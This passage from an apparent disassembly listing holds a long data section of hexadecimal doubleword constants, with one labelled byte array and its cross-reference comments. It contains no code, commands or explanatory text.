dd 9D60DFDAh, 38DF4ABh, 25B175CCh, 0E2FB03E7h, 0F8498289h
dd 5B3F6296h, 2677BF0Bh, 0FB07F525h, 0B8B12914h, 9BEC7298h
dd 0CB400A4h, 796B641Fh, 100774C3h, 203E0FBEh, 6904C120h
dd 0A3B2001Dh, 7725EB4Ah, 0FC004D10h, 1F192CA5h, 0DAE575h
dd 838BE88Fh, 33BBBA7Dh, 0A395EF00h, 0FADC52DBh, 0ADF01F67h
dd 0F8F600B6h, 494D234Ch, 50056E05h, 41C01639h, 98FF29h
dd 0A3DAA936h, 0F00DB169h, 0A1223300h, 264A90C1h, 0E2DB398Ah
dd 5F087C81h, 0C892FB2Dh, 4514F4B2h, 8541C5h, 0C7E902B4h
dd 2E0633A7h, 0F9398h, 43C1EF5Dh, 0A507D112h, 0D22749BFh
dd 0EBE1BE70h, 0A3EE0080h, 0B2890A6Ah, 2CE08C54h, 0E4FD0871h
dd 0DE00A1AAh, 11569643h, 295434h, 0B6BB914Eh, 57FC9C23h
dd 0E9229403h, 804CB4C2h, 1D4032BFh, 8020D8B1h, 0AFCB806Dh
dd 4CF48C76h, 83AF517h, 5A245E07h, 895232E0h, 4D590038h
dd 5F5E9006h, 74016669h, 6F7E536Dh, 9609747h, 2A8D00C7h
dd 0B7E83E05h, 0FD586E87h, 0C1950569h, 3B80E4CBh, 115308Dh
dd 0E0BAF10Eh, 30109AAFh, 0B4985DF8h, 218BF400h, 119DC08Eh
dd 0B83C384Eh, 0E36707F9h, 0F1F675FBh, 0E0B2122Dh, 89003A8Ch
dd 87A72C02h, 98FBF117h, 0EE0D00B2h, 8508C97Dh, 0D20172E1h
dd 3FD329B6h, 40FE9F99h, 0C40BE0h, 720A4A54h, 0E19ADA44h
dd 9C36372Ah, 0E16348h, 886204ECh, 18126h, 0F95CE874h
dd 3B12BDFEh, 2F0F0E0Fh, 0FDA98061h, 2C20CEEBh, 0E8E3C68h
dd 0D12E0385h, 0D0C84300h, 7648EE12h, 49AB0010h, 69673819h
dd 24E000F6h, 61A3AA2h, 53001293h, 0B73364C5h, 0FAE678h
dd 905FF847h, 4ABB8A5h, 69F16B09h, 4D9401F3h, 5FC79DFh
dd 2BC0083h, 0BDA9011Bh, 96006F2Fh, 4AAB683Dh, 7D24DDh
dd 7F0CEF48h, 0EE9D6DF8h, 17E7751Ch, 10A29840h, 54A7EAh
dd 0E3AA9CE5h, 0DFCD197Ch, 3F3DD91Eh, 7E8C1EC0h, 854076h
dd 0EC32283Ch, 0C9CFBF49h, 80868D3Bh, 0B89CDAD1h, 70BB4F3h
dd 0E1FC2004h, 0DFCE2070h, 4F01F7CCh, 7D4AEA81h, 2130AD4Dh
dd 0BB8C26B0h, 237400BCh, 0CC9D1C29h, 80E0C63Fh, 60E9F45Ch
dd 0FD696Dh, 1FF58622h, 2878CEDFh, 0A58858h, 0BE65E85h
dd 0EE7AE8E9h, 8630073h, 0EDF73296h, 0A9260784h, 0A885BC4Fh
dd 0EC0E7561h, 0D86640C0h, 0CECC229h, 0EEC4CED7h, 0E00DB18h
dd 87DCB42Ah, 0C172643Bh, 0A5AC5331h, 5848807Eh, 0CEE5E9CAh
dd 102204E1h, 0C085B1E0h, 0F2622528h, 0AD0D1D01h, 0DFFEEA8Bh
dd 573F70h, 0FFDA5BB9h, 0CD56D36Fh, 750FFB0Ch, 0F85E5054h
dd 0B9ED0071h, 0B08476C7h, 0F80063EBh, 0AE87CD1Ch, 0E4F04ECCh
dd 77FF0061h, 0FEDEE8A2h, 6E025C3Bh, 0CD5376BFh, 0B2DAE0A6h
dd 97C0C09Eh, 8720ACE3h, 0A34D2186h, 0E524C200h, 0CF796Eh
dd 59543852h, 2CA1CA1Fh, 34038607h, 0E340A3DDh, 498593h
dd 5F512F7Eh, 82CCA2D0h, 9F150600h, 0B7274413h, 3DEA0320h
dd 2B921170h, 80FDC1B3h, 7FD0CA2Bh, 43350600h, 0CB30692Ah
dd 0D74F0008h, 4AB6FFADh, 0A800EB3Bh, 320FE16Dh, 7AC86125h
dd 2ABC8Ah, 0F923C04Dh, 0F3FAE40Eh, 0F67E0500h, 0CFCE47B0h
dd 5A5400C5h, 5B512560h, 2F01E08Eh, 1742AC0Bh, 0F0F9D591h
dd 0FAF9E1F8h, 480C0003h, 0C692CCD8h, 31007A4Fh, 0DB8613B6h
dd 5D6CBEBh, 4EA89976h, 0AD98408Bh, 0B7E9EF0h, 571601Dh
dd 0A3E15783h, 0DB210044h, 59DDED88h, 7F0FB6E6h, 84B92FD8h
dd 800A8D35h, 63E100ACh, 0C9E06111h, 0FD0984F0h, 32735Ah
dd 4B097BA0h, 30866165h, 244D3999h, 14003054h, 606C11DBh
dd 16791Ch, 0DDE50DFEh, 73DAA1BDh, 3887A624h, 0A0F96E00h
dd 0C5A8B1h, 0C330D134h, 0FC04D568h, 23EED901h, 551DCA7Ah
dd 54081D0h, 7443722Ch, 708090ABh, 1C3E03DAh, 132A9626h
dd 0FDDCA600h, 7FAF4CEh, 0E341F6BAh, 4A5D007Eh, 6C003022h
dd 6DA3B904h, 9CC010h, 4BED7F7Dh, 1AF0D66Bh, 0DD21F30Fh
dd 9ABAC0F2h, 137315h, 925EEAE2h, 7CFEE7CEh, 59E66D07h
dd 71456FACh, 0B8EADD00h, 8F2657h, 7F167A70h, 0DA2336AEh
dd 9047F900h, 8C4DEEACh, 9F7200A8h, 0D6D46D80h, 197824D5h
dd 747E40C0h, 1B0C0CBh, 75399C36h, 0D0134C0Eh, 20D8F94Dh
dd 3C8EC0D4h, 0C48197B6h, 1F1C63ABh, 7EA08980h, 7908013Dh
dd 70BA8EBDh, 72B0703Ah, 84E07EC1h, 10FCE900h, 0DD6C9B51h
dd 18F52AD5h, 0C02E0440h, 63143683h, 0F541016Fh, 1FD8C09Fh
dd 609CE119h, 72678D90h, 6280E948h, 0E06C9A93h, 6F880016h
dd 8B3FE670h, 6B00B868h, 32FF6D48h, 0BB9F94h, 0BE2D1609h
dd 95A91F82h, 44D0AA00h, 0FE8E56B0h, 3F575E6h, 6D367967h
dd 26B0FDBBh, 0F800FFCBh, 899854AFh, 0D35CE1h, 0B2D25B86h
dd 96B1F184h, 0D90134F8h, 0BC60E376h, 12F4D194h, 0C7800037h
dd 0E1642679h, 0F41E3F3Bh, 0AA006FC5h, 0FC320335h, 9B2F001Dh
dd 75648268h, 0A16055CFh, 9F06E840h, 461D089h, 18A2A2B8h
dd 87E0417h, 54CE20EAh, 8A56007Fh, 1DF3E82Fh, 6BA43D00h
dd 399F6C22h, 0FB16004Bh, 2DBB95CDh, 9D5FD799h, 5E2BE0h
dd 944FD5Bh, 0A6104FE7h, 6E9950C0h, 1FAA0B17h, 792A2Bh
dd 26FFA91Ch, 46009BFCh, 2CFE6693h, 51B2BABh, 325102FAh
dd 8F2038A6h, 0FB001D46h, 3994427h, 88DE06DFh, 55BE9606h
dd 0CB892CC8h, 111504C7h, 82848718h, 887E406h, 4FAE80D3h
dd 510016EDh, 6FF9FC8Dh, 0D59823h, 0FEAF27Eh, 0B906A76Eh
dd 9601FAECh, 89A23E04h, 88E191A4h, 0BADC6080h, 41307B17h
dd 0F10A0400h, 71D77FFFh, 98465029h, 1C42B0BEh, 940FEB27h
dd 7001B421h, 8F7701A2h, 5BB7C0FAh, 0C40773FEh, 9FE591D8h
dd 1BB661CCh, 0B00FEE1Fh, 62BA1019h, 205181B0h, 0F8F3BE22h
dd 472A6EDFh, 0DB9A9D92h, 592010B0h, 8E9C0548h, 6CD73A2Ch
dd 95019240h, 5178E98Bh, 0B5D847D2h, 3A8700D0h, 4A8FDCEh
dd 316135E8h, 0A25D5818h, 3BE1BAF0h, 10EC6193h, 4A1E7741h
dd 0B500328Eh, 10A3E59Dh, 0E61E009Eh, 0EE1D1275h, 1100CFC6h
dd 5DB553AEh, 1F6189B1h, 3C49FF9h, 2E5A7A79h, 3A8F37C8h
dd 0EE02E179h, 783EECAFh, 0A74C1011h, 46983204h, 0A27C8E06h
dd 0F25B040h, 0D3E61FA8h, 0FEBA5DA0h, 7400E8BDh, 0C0047A40h
dd 639F67F2h, 5279198Ah, 0B5FFC0E4h, 9028E66h, 0F65AE651h
dd 2320B0AAh, 0B14B428Dh, 40E81C2h, 89B972A9h, 0BB88E601h
dd 560F0EE1h, 80118D93h, 1C5439ABh, 3562328Bh, 209C5C80h
dd 0A0590211h, 4C8080D8h, 4185E0F2h, 1C8B2E5Eh, 18407B48h
dd 40D4D197h, 1084A14Ah, 0C2E689D3h, 38A2EA22h, 590A3EFBh
dd 40DD74E4h, 2BE596F0h, 220B601h, 0DF232D81h, 0E0E21515h
dd 0C676B204h, 0FA6081D6h, 2C29C85Dh, 0A8009DF0h, 3E061265h
dd 1342F237h, 7EF1B81h, 375D6A8Bh, 11D9C032h, 0C700F7E5h
dd 4536B7CFh, 14DD5912h, 207AD0B1h, 0A4248EC7h, 3D102A6Ah
dd 78FBE0CCh, 0BC1F23DEh, 0EC3CC1E4h, 85FFB908h, 0F81DD6BBh
dd 0F0489842h, 494254ACh, 0DA4617C0h, 0B457FF88h, 20318A60h
dd 894B058h, 69BDB857h, 50FF5F1h, 80AF1C52h, 43396078h
dd 0F8E881DEh, 205EAE21h, 8B811D30h, 0AA018952h, 20D63739h
dd 0A8337D55h, 870E12h, 26144237h, 0A89B3641h, 65324E62h
dd 0AF4030C8h, 6C23FE0Dh, 2C62E454h, 1D870272h, 53B6E09Fh
dd 30B6213Eh, 21D3E04Fh, 0C2072FCDh, 9F0AC280h, 8B1A211Eh
dd 7386B940h, 0C74321DAh, 604B4A51h, 65405407h, 0DEF948A0h
dd 0DA22000Bh, 0A98DE482h, 9F20AD3Fh, 4168AC32h, 139FE666h
dd 1468EA3Ch, 8CAEFA01h, 8F0F1697h, 0BD36081Fh, 6340ECEBh
dd 6185A07Dh, 0BED7286h, 0E099D104h, 1A212A08h, 0F617A7E0h
dd 0C58E4729h, 6028C3AEh, 0CB181036h, 0A74AA80Ah, 9AA8580h
dd 0CA08CA43h, 405A601Eh, 0AF353313h, 41921840h, 0B52449F3h
dd 2005E4C6h, 2C9871A9h, 15400247h, 35328312h, 4163C3Eh
dd 514CAAACh, 91D6D850h
dd 0F20820AFh, 1C4C260Dh, 9BB9012h
db 0A7h
byte_530055 db 0BEh, 0A8h, 0B8h ; DATA XREF: ___:off_437A2Co
; ___:off_437A44o
dd 2616DD48h, 5488BD40h, 40DE0121h, 8DB646B3h, 50110921h
dd 20A5D785h, 0FC8C5401h, 405BB5A8h, 23758903h, 7F97F51h
dd 41E53047h, 1549A01Dh, 41B4E40h, 735AF622h, 0C51D0372h
dd 44B39CBCh, 51D81800h, 0AE3E3B09h, 0F0DBFAFCh, 0E8D0555h
dd 20AFEFBDh, 0EAD15C20h, 41A1D742h, 88020E90h, 0AD1EDE32h
dd 4019523Eh, 437F66C0h, 888FBB37h, 3A508FEDh, 7CC31CE6h
dd 0F151E15Fh, 710E204Bh, 0BCE8B8D0h, 0B85F9h, 61E0E698h
dd 8FA8A221h, 0A0F0DD90h, 6E11E214h, 89E2538Bh, 0E6800216h
dd 35AB6A66h, 0A110A095h, 69C001B4h, 0A6DA9F3h, 28903584h
dd 0A9E605A5h, 78DD60A0h, 0FD3CCD20h, 9200463Dh, 0D5C1105Bh
dd 928FBCD6h, 82202D79h, 2821B140h, 0CD0815BFh, 0FE837006h
dd 1F3531EDh, 20D12BC0h, 27E62A80h, 911098BCh, 6E55040h
dd 63BE0187h, 1FA890B2h, 60016114h, 0ECB52BA0h, 0A2C0DC52h
dd 76809EF5h, 0A0525244h, 4E0739B1h, 21AB0580h, 0A02A6CCEh
dd 2DE0E921h, 85153AC7h, 402C3D45h, 636A14C7h, 1A8A0A1h
dd 322341C3h, 2E5DB0C3h, 6F82071Bh, 0FFFA1AFEh, 0B313CA01h
dd 8E5420FFh, 0A742AC0Ch, 22DE5106h, 0B01C6419h, 0B402EBBh
dd 1DB56DF3h, 2D680F5Ah, 7CE3099Dh, 381E4277h, 139851DCh
dd 0F3F9988h, 0A217851Eh, 0BE364681h, 3778EC4Eh, 79965B0Fh
dd 0AB8680BFh, 49E2CFh, 3E1DA211h, 0D2BE10A4h, 9F2F973Dh
dd 3B0013FAh, 0BBC35267h, 31997CDDh, 6631F809h, 0A720DA2Ah
dd 80145EFCh, 6300FF81h, 0E9C2D73Fh, 6789B9Dh, 0A9EDD68Fh
dd 0B030A241h, 1B2650A0h, 7896035Eh, 5872D20Eh, 2ABE1B8h
dd 0C4851500h, 4224C968h, 3E1E0022h, 1294E656h, 4600A162h
dd 19AA2A88h, 4788DC9h, 6A8E5EBFh, 0CCB1065Ch, 9CF8E8h
dd 0A815253Ch, 238C5526h, 0BF447E03h, 0B3337F34h, 0CE301D4Eh
dd 8DC70353h, 207EBA77h, 220EC903h, 90C488B1h, 21B302h
dd 0A05EBE7Ah, 74C21AF4h, 3CCF5C00h, 0E54BD13Dh, 20BB00C8h
dd 49ABC6EDh, 0C330EEFCh, 7F5808Ch, 9CE450B6h, 0AB8400A3h
dd 0C10CE54Dh, 9000D0ACh, 0C207B297h, 5CF417B1h, 0C900CF85h
dd 0F49B86Dh, 710FB9CAh, 80919A40h, 907C17A3h, 0A4285210h
dd 0BECF9700h, 2DA575ABh, 27967918h, 28337B18h, 729098B0h
dd 7CFE006Ch, 4867B524h, 4639C60Fh, 5FA08066h, 0E42FF7Fh
dd 9B882AB3h, 7F9F2A8h, 0B24B2697h, 8E018882h, 0A160E612h
dd 33BB2886h, 1003192h, 9559EF66h, 91EEBDDh, 61A8280Fh
dd 7FF1000h, 16022DF6h, 0FCAD22A2h, 42D0A738h, 7832FCEAh
dd 80D7299Eh, 48B0590Eh, 60100A4h, 0DD941D17h, 3B524777h
dd 724BE8A8h, 457801F9h, 0E40219BFh, 53F0407Eh, 0E7754CC4h
dd 0F005CF8h, 0EE61EBBBh, 7EE0F907h, 7C8D1E32h, 7C3DB5h
dd 60E49155h, 6F3A39E8h, 0AAC07501h, 33FFAEA9h, 1B4C4BC4h
dd 31B73B79h, 0C084E093h, 0FE3117C4h, 180A4A33h, 3A9BA035h
dd 0EFB73E9Ah, 0D708407Dh, 60F23F18h, 1DA27580h, 162C4B4h
dd 0D35D3D9h, 0CB2182B3h, 80DCE47Dh, 0F50F7550h, 5C731F77h
dd 0E3A68053h, 0E5DD6A7Bh, 82D3400h, 4B84132Ch, 51CE3AD9h
dd 400A23Ch, 0ACC47E14h, 0D030D73Dh, 1FCE192Dh, 985900A3h
dd 7310C79Ch, 0D400F3DDh, 0FA483F39h, 0FC3FE7Fh, 8DBF427Dh
dd 0D3F8D603h, 0DFA8D18Bh, 43FA737Ah, 0A7A5F600h, 3EFA85B5h
dd 0EFC30048h, 32C149A6h, 0B6666CE8h, 688A6Ah, 0DFA32E15h
dd 8457D3B9h, 80473C3Eh, 92BA5B8Bh, 49CA5h, 0C9A6CC12h
dd 32840A2Ch, 0BF5B80C0h, 0AB9AE2h, 0A9F7FCCBh, 0C9418803h
dd 0D30D0B1Ah, 0DF44C048h, 0D0CF6139h, 0F0EE5904h, 9D0CE692h
dd 195A0CABh, 0B20F07FCh, 0C3427AFBh, 3CC0C3E9h, 2EF05C3Eh
dd 0B8E03670h, 9E792B71h, 0F37AD103h, 195AFF0h, 0D6F97310h
dd 414667F1h, 0DCEF6980h, 9800DBBDh, 1747A4C2h, 5120D7h
dd 3EE8F4D2h, 0D26BC9Ah, 0AC3DA128h, 0C88A900Ah, 6F87BC5Fh
dd 30CC8BC0h, 0AA5BF88Dh, 5FC1400Ch, 28CBF89Fh, 180C5AB7h
dd 31504D4Fh, 0A77C9353h, 5EAD0D1Fh, 9DD13243h, 10D2C397h
dd 0AFF17B8h, 8041259Bh, 9F6D7F85h, 0B7ABA001h, 3BE9DF13h
dd 0A19C8043h, 80FEFFCFh, 4FF02FA0h, 10757DA0h, 613ACC3Dh
dd 9F587719h, 11A71701h, 90E7E7A1h, 28BE0F9Dh, 39CC6A49h
dd 8EB0C556h, 310D27D8h, 95849E50h, 8DF18A11h, 6415007Ch
dd 13CE476Ch, 24AE49CBh, 19DCF436h, 0C7801F48h, 2A90104Fh
dd 6F018471h, 332377D8h, 304C8DD1h, 2D3D0F06h, 0CFE9A15Ah
dd 40F70C07h, 8E44DF12h, 10807A52h, 0B78EA745h, 4FA3464Fh
dd 0E7C1F1D0h, 0E5A84096h, 0FC28228Ah, 104A49Ah, 7027FD3Ah
dd 0D8600341h, 37898E87h, 5B146543h, 0D865E84Ch, 0C0B8605Dh
dd 0A3BFA41Ch, 0E8C46CF6h, 3087448Eh, 9F413CAAh, 400875A0h
dd 8489A821h, 217A466Ch, 0B182243h, 62302148h, 30C78D79h
dd 0AD00073Fh, 60D450BDh, 0D62FCDh, 810EC5D3h, 3A30961h
dd 54005BF0h, 571DA1B2h, 0B090D1h, 0CA7DB723h, 0D692D29Eh
dd 0B3DF0603h, 0CBC70FA9h, 656FE847h, 0F50C0F39h, 57E0349Eh
dd 25C2BDDEh, 1383B604h, 86BEAE12h, 0DB223183h, 1B20C66Ch
dd 4B0098FCh, 6D7CB93h, 0ABA8A767h, 0B5AF9330h, 28D71806h
dd 40930051h, 0DA54D32Bh, 32010CC6h, 0B2F2A689h, 6048137Dh
dd 0A51F2109h, 0CFC14308h, 0D36267C8h, 2EC12E71h, 432F319h
dd 61F19C44h, 0C9FA961h, 56122105h, 0A40E7184h, 3C985B22h
dd 0D52236F7h, 740B2341h, 0D8FFD30Ah, 55499C83h, 468009Bh
dd 0B1A88348h, 38C4374Dh, 0D7615797h, 7958521Ch, 42496538h
dd 1071112Eh, 310DF184h, 0C458ACB3h, 946D53ABh, 883C3329h
dd 0ED62D63Bh, 9B9D202Fh, 67314149h, 35BAC004h, 8D1030BCh
dd 38F989AFh, 4262E548h, 0AC2D2904h, 3805B112h, 0E8061A09h
dd 10313B0Dh, 85013921h, 6C2011B9h, 84A52E99h, 0DB60EB49h
dd 6C09B57Ah, 0A60158Fh, 62DC356Fh, 18B648BBh, 0C511F714h
dd 9C932B30h, 848A0F8Ah, 0CBA88D67h, 6FD83A08h, 0A5C11208h
dd 83089EE1h, 0DB3F108Eh, 482384C6h, 0C271F61h, 4D3CA63Dh
dd 318A08D9h, 0BCB9613Ch, 8E7308A4h, 42CED73Bh, 6826E71Ah
dd 631B3C02h, 61724466h, 0A099218Ch, 63C1D94h, 156FCBB6h
dd 9CFC8111h, 20E52C20h, 0BB440398h, 6CF5547Bh, 0D8EB2021h
dd 49E6EC0Dh, 4442716Dh, 7FD88203h, 0C89327CDh, 60B06B0Ah
dd 0FF083849h, 0B92386F4h, 66890462h, 38ED2204h, 82429A91h
dd 8A9C7F2Bh, 65D8DD8Fh, 4F3C33B7h, 616931BCh, 4A203D18h
dd 2FA4002Eh, 374B30CAh, 3E7E7A0Dh, 380916B0h, 218960D1h
dd 1C9B3ACh, 9D872080h, 0CB6AD861h, 5C7211F8h, 0C0413B30h
dd 73A0CA4Dh, 0EC3530D2h, 1C6FCC51h, 34D87961h, 2448C8B1h
dd 84DE4CBh, 12A8170Eh, 631EC542h, 0A09810C8h, 0B1186428h
dd 58A03522h, 3842DFA5h, 580E6C30h, 0C44B628h, 59601B86h
dd 0E5120D10h, 0E44F3706h, 19038C1Dh, 0A2CB0F83h, 310E7695h
dd 2D3919A2h, 729FA882h, 0AF558800h, 5830C004h, 96BC5219h
dd 0C13E0E05h, 944242DEh, 16D62FB1h, 4E6B5F18h, 31578E0h
dd 7624413Ah, 81010D49h, 601A31D5h, 0D0864D99h, 29142C17h
dd 69124671h, 800261C6h, 0A1058726h, 3E7B8DB0h, 496038BBh
dd 361B6955h, 0C0244407h, 0E8C5F48Dh, 0F56A9C42h, 32CCA2D7h
dd 14A8919Ch, 0A44C3EE1h
dd 413D0171h, 0FD498138h, 0DB1020ECh, 0A9030616h, 0C8D99858h
dd 16692C4Ch, 0FCA80C4h, 0D29D78E3h, 492D3A05h, 9820B0B5h
dd 0A0A9FE61h, 9016F8A4h, 0D82DE65Ah, 0B771D0E1h, 0D2720A03h
dd 0C8D42CB5h, 0E4D7E1h, 60096E76h, 1B6F3C96h, 0A2296C60h
dd 0D3242Eh, 4F478506h, 0F9132A8Dh, 1073F830h, 88FD6455h
dd 0D78DDC5h, 8633EF00h, 7E25D3E2h, 7DD2F023h, 60F2009Eh
dd 34918A38h, 0F550265Bh, 0C678E1BEh, 3F9EC100h, 0DD540776h
dd 4510C05Ah, 0FE80E34Fh, 0F0B630A9h, 0EE1133F0h, 7B00D411h
dd 0EF610AE1h, 58A08A54h, 2B605F3Dh, 234DF4F1h, 0B2F501EBh
dd 0D6D33B53h, 9108DF5Eh, 0BC138E74h, 6DB96800h, 0F9F60346h
dd 0C1BFE2FEh, 6E21234Fh, 0AB300C01h, 336C7FD8h, 2DA012F7h
dd 9C1A200Fh, 77CF02DDh, 118AF5Ch, 32C24739h, 3754B450h
dd 0CC3E6BEh, 528F439Bh, 3868DCA8h, 6201CC20h, 9B987FC2h
dd 37E1F181h, 85237DD3h, 0D92706A0h, 0C50A21F8h, 0B1BC5C7Ah
dd 8AD45B28h, 1486C1B0h, 943C831h, 0F67B4085h, 0AAA400BFh
dd 0FE025DF2h, 405FF833h, 0A86F9381h, 0C0ABC9Fh, 0EDC2905Ah
dd 703AE790h, 28BB3EEBh, 0F001D033h, 0EEDC7AB5h, 41E0C003h
dd 4FBA07AEh, 0E0719F7Fh, 44E0600Ah, 6FC82854h, 589B7335h
dd 0FD1E2C06h, 0F84D0558h, 1D383676h, 98118694h, 3D0CC0F5h
dd 292E4061h, 0CC6F0AE1h, 5A06DC9h, 5459951h, 53A5448h
dd 215F3B28h, 8CECCCA8h, 90604710h, 984B0C9Eh, 9AC16182h
dd 0C1EFA76h, 0C781708Ch, 0FF8A905Dh, 0DB474986h, 7202385Ah
dd 0C7AEC083h, 0C1C8A2A4h, 0DC2CA035h, 7FC54FB1h, 4421C086h
dd 9A47124Dh, 87C6C70Ah, 6285D057h, 0A041EA58h, 3407323Fh
dd 0A6D22450h, 7B949055h, 5CC12A04h, 0B7E30C48h, 5AD8630Fh
dd 0D0800C00h, 6AF6C3A4h, 54D40064h, 3716B89Fh, 18C07D0Eh
dd 0CE097C38h, 10A26745h, 25F4C0E9h, 7111676h, 0E100E8BDh
dd 0B6428BFBh, 7B037F35h, 0A58E3ABCh, 3E4818E6h, 0B93869E9h
dd 79E5C00h, 54B7C243h, 5880E936h, 4EECDCC8h, 67000835h
dd 46C4F9C7h, 6385C9BFh, 0C08868B9h, 89F61CA3h, 330C7BF0h
dd 10F18C3Bh, 792601C3h, 7654D5B8h, 5598047h, 0AB6E7319h
dd 85B718AEh, 3B261946h, 4EA26202h, 0A0BBBA08h, 0C4E23A34h
dd 7E1100FBh, 400576EEh, 0A4769ED3h, 81EF607h, 0FAAF3h
dd 4CE94FB7h, 0AB7B2AF0h, 151C0090h, 8EAAEEB5h, 5050A96Ah
dd 96003988h, 7DE776BDh, 0EBB915h, 0D6E034C0h, 1889FB43h
dd 91284C60h, 62A28C9Fh, 0BE3F6825h, 0F7B0C4ACh, 0C941BA09h
dd 4304001Ch, 4C75C6ADh, 3418EAA4h, 9E09D83Ch, 0D49320A8h
dd 5E60BC78h, 0FB303DE9h, 4AF70632h, 0F05F913Bh, 8350C33Eh
dd 20F90826h, 199CE749h, 3977093h, 0D152B04Ah, 0B03CEF74h
dd 10BC28ADh, 0E74D981Eh, 0F6C1BF47h, 0A0F3A0CCh, 78ED67C8h
dd 0A7B628C2h, 78C8F088h, 0E0BC55C1h, 27E1A6E1h, 119EF5E1h
dd 9EC303B9h, 3004EB65h, 0AC27BE31h, 2019C423h, 0D351B34Eh
dd 80A84601h, 27BF1111h, 0C8E3B354h, 0F618A430h, 0DED3AE81h
dd 31FC4118h, 0DE801693h, 64FFDCA0h, 0EF3F04ADh, 953982AAh
dd 0A06C8E34h, 71589184h, 40F0369h, 0C593F79Eh, 0C04873B8h
dd 61B0D030h, 968350h, 667E9A86h, 0C31AF8B3h, 0F6FB0200h
dd 9B04A13Eh, 0FF4300D5h, 83EEA939h, 0BE48687Bh, 0E42622B8h
dd 0A0E47ED0h, 0F2EE3B4h, 0C78762CEh, 0C180C32h, 3A123940h
dd 5040F950h, 0B3A81F89h, 70FD48D0h, 58A06622h, 1D03202Ah
dd 34A78108h, 0D1A691h, 5E3D6970h, 136D3EB8h, 0D4975407h
dd 0DD10144h, 0F4F0B650h, 0A8040198h, 0F30FFC60h, 0A32FE427h
dd 0E00AEA00h, 9FB7A923h, 0B64A3A1Dh, 98E82400h, 0FC7ADD07h
dd 0F573F21Eh, 20B4CF0Ah, 0C6F64A0Eh, 18317DC0h, 48650248h
dd 0ED01A082h, 3E5E5944h, 7C0C80CAh, 0A505110Fh, 348183F5h
dd 36780022h, 0BB04EDB3h, 0EE6F7C3Eh, 0AFE48150h, 0C9C4E845h
dd 0FC4B0089h, 6226906Ah, 1700F043h, 779B1E5Dh, 70F92473h
dd 5481CF53h, 19799386h, 7FFC5222h, 82A605Ah, 0AB150FE2h
dd 0A35869C1h, 0C9BC7CEDh, 632F10h, 0BF7B3AB7h, 3EBCC0h
dd 90BEDAD6h, 0F6525A68h, 31B7F531h, 1090575Bh, 1B6C88C3h
dd 76C17953h, 42BAE1F9h, 34035810h, 5A10009Ch, 0B6307C5Eh
dd 36EE151Fh, 679E2D00h, 0D6260185h, 4C3C00F0h, 0F5594553h
dd 542A0537h, 0AB60D85Fh, 7AFDE438h, 0EF2918FFh, 6B019D0h
dd 52F6AF00h, 0A21D9E45h, 295004FAh, 0AE2C66h, 0F5FC70CDh
dd 18517C35h, 909DA2D6h, 0AC2E1FB7h, 0C00686D1h, 1838F915h
dd 900A5648h, 7400AF0Dh, 0A25FB03Fh, 0E7DC49C4h, 664EB982h
dd 0A0A35882h, 1011FC6Bh, 0CA1E2143h, 0F7E00860h, 0B311B090h
dd 67181E22h, 17888F10h, 7031A518h, 19392CA0h, 94E60050h
dd 0FC6F4246h, 0E9706260h, 0B3A361h, 25FD1FA1h, 0D715E009h
dd 3850F000h, 0EDDF98CAh, 3BFC0449h, 875269B3h, 0E297C18Ch
dd 0A11D30B5h, 974F758h, 2F62A29Eh, 91B80108h, 845010BEh
dd 0E28F6Ah, 181C7DADh, 1BD6EA5Dh, 0FDA87600h, 7E15F634h
dd 74EE03D0h, 9B081381h, 5BC924A8h, 0A4AE0E00h, 4354FDA6h
dd 50EF297Bh, 602964h, 1FF921E4h, 0FF62E506h, 0A0FAE2C8h
dd 0C6B8F3F8h, 11F86056h, 58EF49A4h, 0CB291F06h, 3B181E5Fh
dd 78D2FB9Ch, 92FDFDCh, 8C0A4A31h, 9FE60844h, 0FAC75400h
dd 0C89C7D53h, 6B0AED11h, 0A20AFC0Eh, 6880CC11h, 6F9C49A3h
dd 84D3493Dh, 99EA440h, 2736606Eh, 0B42B6002h, 4C642848h
dd 0BAA19318h, 3AF1F11h, 78C788D0h, 8100FAB1h, 0FD8EC244h
dd 411896Ch, 0F32F36Fh, 75E48145h, 0E3B5F1E5h, 2160B9E1h
dd 68D01411h, 0F44048D8h, 60DB003Bh, 1507C4D9h, 0CB002AA3h
dd 0A10F96Fh, 534D9Dh, 0EBC262CDh, 0E821E686h, 81D3AB0Fh
dd 0E0C8E02Bh, 969F71h, 452F304Ah, 70DEB25Fh, 2A99E606h
dd 1C113BB1h, 806FBE18h, 0BB467586h, 7B00AA56h, 0E01C57D0h
dd 1DB1CCh, 0E721CD7Ch, 9D544814h, 4237DC07h, 1643F698h
dd 84F1C017h, 0C0E2B3h, 4B923596h, 0FE4A9D5Bh, 79331100h
dd 0C2B093D4h, 0A291007Dh, 1DDB3942h, 99007235h, 8DC83DB5h
dd 50C14732h, 0C588A96h, 0CB401C90h, 30F02211h, 0BC218F60h
dd 0C0AB6A5Dh, 0E13B1448h, 0B000A9A6h, 8A34A4B4h, 953EDCh
dd 57AFB39Eh, 91C1C532h, 0E0A020DBh, 0C01EA602h, 0EB80EFD9h
dd 1C0A400Fh, 48A88E35h, 92031F91h, 4052D962h, 890B700Ch
dd 0BA50E4h, 0C7493433h, 0E2AE8309h, 552A521Eh, 0E5910C00h
dd 1C1BBF0Bh, 81093C72h, 580FF687h, 49584132h, 8060BCC8h
dd 4240903Fh, 3C194148h, 0C0604B43h, 76799C0h, 119B1634h
dd 21F5B80Fh, 0FD91EA2h, 0A1D3E982h, 4DC3BD34h, 2572C000h
dd 84F257B7h, 0CFC0017h, 4A7E9840h, 431813F1h, 11519706h
dd 3F56F078h, 400A1E9Bh, 40BC1D8Fh, 17DC594Ah, 339CAF54h
dd 803D1601h, 98F9418Ch, 0C0D5F853h, 1DF1573h, 3584F3A7h
dd 8FE2E9CDh, 8CFD4A88h, 0A9F1843h, 9B517446h, 663E3C84h
dd 3C744A28h, 86186481h, 35DB2177h, 4FD08200h, 0C6CDE11Ch
dd 7E101D17h, 38BA0CB3h, 70231D0h, 74451699h, 863E2796h
dd 1A3DC14Ah, 159C8070h, 3D5D19CEh, 0D7ED0058h, 951C2C90h
dd 0B32E7B47h, 9600DDE5h, 76BE8A87h, 0CF3A1235h, 80F3065Bh
dd 0C4325898h, 11F81053h
dd 81521C5Ah, 0A38015D0h, 14FFA899h, 94B92E12h, 0AEB59000h
dd 0F5C8883Fh, 0D672B1C0h, 610A79Ch, 74433E9Ah, 1F0CC93Bh
dd 51F9DC86h, 0DE513CDBh, 79391931h, 0EF298A9Ch, 478CC488h
dd 50DCF93Ah, 889814CDh, 2F243D09h, 1640C072h, 0A44D4377h
dd 240F779Ch, 16CE741h, 935C060Ch, 5DB0432Fh, 759822h
